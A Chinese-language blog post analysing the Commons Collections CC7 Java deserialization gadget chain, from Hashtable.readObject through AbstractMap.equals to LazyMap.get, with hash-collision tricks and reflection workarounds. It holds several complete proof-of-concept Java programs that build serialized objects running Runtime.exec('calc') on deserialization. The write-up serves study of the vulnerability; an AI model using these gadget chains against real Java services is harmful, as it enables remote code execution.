CC7分析与利用

CC7分析与利用

cc7分析

cc7也是接着LazyMap.get()方法向上找。

这里先给出LazyMap.get()执行命令的构造:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,cha);
        Lazy.get(Runtime.getRuntime());
    }
}

接着就又是向上找嘛,但这里我们就不找了,看了 ysoserial 的 cc7 中是利用的Hashtable.readObject()作为起点类,进行正向分析

Hashtable.readObject

跟进到Hashtable.readObject():

QQ截图20240628144328

在最后调用的是reconstitutionPut方法,这里的key,value值可以通过hashtable中的put方法进行添加。(回忆一下在cc6中的hashmap最后是调用的putValue中的hash函数来触发的hashcode,key,value也是通过put方法来添加的;而hashset是最后是调用的put方法,值是利用add添加)。

跟进到reconstitutionPut方法中看看:

QQ截图20240628151341

这里关键在于equals方法的调用(hashcode也可以做文章后面再说),先进入for语句,然后就是个if判断语句了,执行了e.hashe.key.equals(key)。不过Java语言还存在一个布尔短路运输的特性,也就是说当e.hash == hash判定为假,就会直接退出if语句,导致不执行e.key.equals(key)。所以我们还得让e.hash == hash为真,

hash就是key.hashcode嘛。那么再看e是什么:

Entry<?,?> e = tab[index] ; e != null ; e = e.next

这里可能还有点迷,继续看看index是什么

int index = (hash & 0x7FFFFFFF) % tab.length;

通过以上分析,这里大概意思就是先计算出 keyhash 值, index 就是个索引,通过索引得到 table 里面的 hashmap 值,这个 next 是个 null ,不用管。

然后进入 if 判断比较 table 里面 hashmap 和现在这个 hashmap 的 hash 值是否相同,不同就把这个键值对加入到 tab 中。当然我们想要的是两个 hashmap 的 keyhash 相同。

其实这里也就是循环添加键值对到 tab 中,很显然当只有一个键值对的时候,hash 肯定不相同,我们需要至少两个键值对,当第一个键值对添加后,第二个和第一个进行比较,所以要执行两次put语句。

那是不是直接把两个键值对的key值改为一样就行了,这个在readObject中进行了判断:

QQ截图20240628162348

看到最下面还原table数组时是根据elements来判断的,而如果key相同时 element 计算会把两个 map 计算为只有一个 map。这个可以里hash碰撞进行解决。

AbstractMapDecorator.equals

继续看会调用equals方法,在ysoserial中把e.keyLazyMap对象,但是LazyMap对象没有equals方法,不过它继承了AbstractMapDecorator类,所以会调用AbstractMapDecorator类的equals方法:

QQ截图20240628164059

然后还会调用map.equals(),那么这里的map是什么呢,朔源到LazyMap中,发现在我们在构造poc时为了使LazyMap调用到ChainedTransformertransform方法,用了LazyMap.decorate(map,chainedTransformer);而这里的map就是HashMap,但是HashMap中没有equals方法,发现它继承了AbstractMap类。

AbstractMap.equals

跟进到AbstractMap类中的equals方法:

QQ截图20240628151552

在这里进行了get方法的调用,条件是当value不为null时。其中m为传入equals的Object,我们需要让m为LazyMap对象,朔源也就是key要为LazyMap对象:

QQ截图20240628165903

意思时e.key和key都要为LazyMap对象,这是什么意思呢,刚刚不是说了两个键值对的键不能相同嘛。所以可以让LazyMap的map中的key值不一样或者value值不一样。意思是这里table的key是个map数组,那么最上面的key.hashcode又是怎么计算的呢?后面调试会发现key.hashcode传入的是数组的话,最后的hash值是key的hash值异或value的hash值。

所以归根结底还是只用让为LazyMap对象中map键值对的key不同而其hash值相同就行了,value就设为一样的就行(因为也要保证其hash值一样)。

那么构造:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();

        Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
        Lazy1.put("yy",1);
        Map<Object, Object> Lazy2 = LazyMap.decorate(map2, cha);
        Lazy2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(Lazy1,1);
        hashtable.put(Lazy2,1);


        serilize(hashtable);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

yy和zZ的hash值是一样的,原理看最下面。运行执行了计算机,但是不是在反序列化执行的。

解决put问题一、

看了师傅们的文章发现是在hashtable.put(Lazy2,1);出的问题,跟进put方法

QQ截图20240628210107

看到put方法中这串代码怎么这么熟悉。那是不是在进行判断后会像上面设计的一样直接调用到get方法,注释掉序列化和反序列化对get方法打断点,发现在执行第二个put方法的时候直接调用了get方法,然后提前执行命令,还有就是和cc6一样的问题,因为get在执行后会添加key值,导致反序列化的时候就不能执行到transform方法了。

QQ截图20240628211418

QQ截图20240628221450

所以在put后最后要删掉Lazy2的yy键值对

Lazy2.remove("yy");

至此其实已经可以反序列化并执行命令了。

解决put问题二、

为了更完美使其在put的时候不会执行命令,可以仿造cc6先把transformer对象随便弄一个然后在利用反射修改factory属性

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();

        Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
        Lazy1.put("yy",1);
        Map<Object, Object> Lazy2 = LazyMap.decorate(map2,new ConstantTransformer(1));
        Lazy2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(Lazy1,1);
        hashtable.put(Lazy2,1);

        Lazy2.remove("yy");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy2, cha);

        serilize(hashtable);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

但是发现失败了,发现在最后的table里面只put进了一个数组:

QQ截图20240629154140

这是怎么一回事呢?发现关键在AbstractMapequals方法,在这里会进行判断,会判断valuem.get(key)返回的值一样不,由于我这里是new ConstantTransformer(1)所以最后返回的是1,不满足这个if条件,返回了true

QQ截图20240629154625

然后返回true又有什么用,后面确实没调出来。第二天问了nn0nkey k1n9师傅,经过nn0nkey k1n9师傅指点迷津后,总算是明白了。

继续跟进:

QQ截图20240629155315

也就是最开始调用的AbstractMapDecorator.equals会返回true,然后来到:

QQ截图20240629155530

不难看到返回true满足if条件后并不会执行addEntry函数,所以这里也就没添加进去,哦~ 原来如此。

那么我们让AbstractMapequals方法返回false就行了,所以构造

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();

        Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
        Lazy1.put("yy",1);
        Map<Object, Object> Lazy2 = LazyMap.decorate(map2,new ConstantTransformer(2));
        Lazy2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(Lazy1,1);
        hashtable.put(Lazy2,1);

        Lazy2.remove("yy");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy2, cha);

        serilize(hashtable);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

只要那里不相等就行。在ysoserial中也给出来解决办法,它是构造了一个空的Transformer数组

Transformer[] faketransformers = new Transformer[] {};

然后把它传入ChainedTransformer,这样也满足条件,最后在反射修改ChainedTransformer的数组变量。

CC7的hashcode

在上面计算hash调用了hashcode方法,那是不是可以和cc6一样,把key变为TiedMapEntry,然后触发到TiedMapEntryhashcode方法。

构造poc:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        HashMap map2 = new HashMap();

        Map<Object, Object> Lazy = LazyMap.decorate(map2,new ConstantTransformer(1));
        Lazy.put("zZ",1);

        TiedMapEntry tie = new TiedMapEntry(Lazy,"aaa");
        Hashtable hashtable = new Hashtable();
        hashtable.put(tie,1);

        Lazy.remove("aaa");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy, cha);

        serilize(hashtable);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

哈希碰撞底层分析

调试跟进到hashcode的最底层算法:

QQ截图20240628175049

for通过字符串长度来遍历字符的所有字母,然后进行计算,最开始是两个字母,这两个字母的hash又会轮下去影响后面的hash。

hash = 31 * val[i-1] + val[i]

例如传入"GRYS"

那么计算其最开始的两个字母为

hash = 31 * 71 + 82

可以构造其相等hash为

hash = 31 * 70 + 113

也就是为"Fq"。后面是轮回运算,所以后面字母就不变了。

测试:

QQ截图20240628181010

参考:https://nivi4.notion.site/Java-CommonCollections7-ef80bc3e4c1c47508a5762ac455a6cda

参考:https://blog.csdn.net/qq_35733751/article/details/119862728

参考:https://www.cnblogs.com/thebeastofwar/p/17842892.html

posted @   高人于斯  阅读(49)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~
点击右上角即可分享
微信分享提示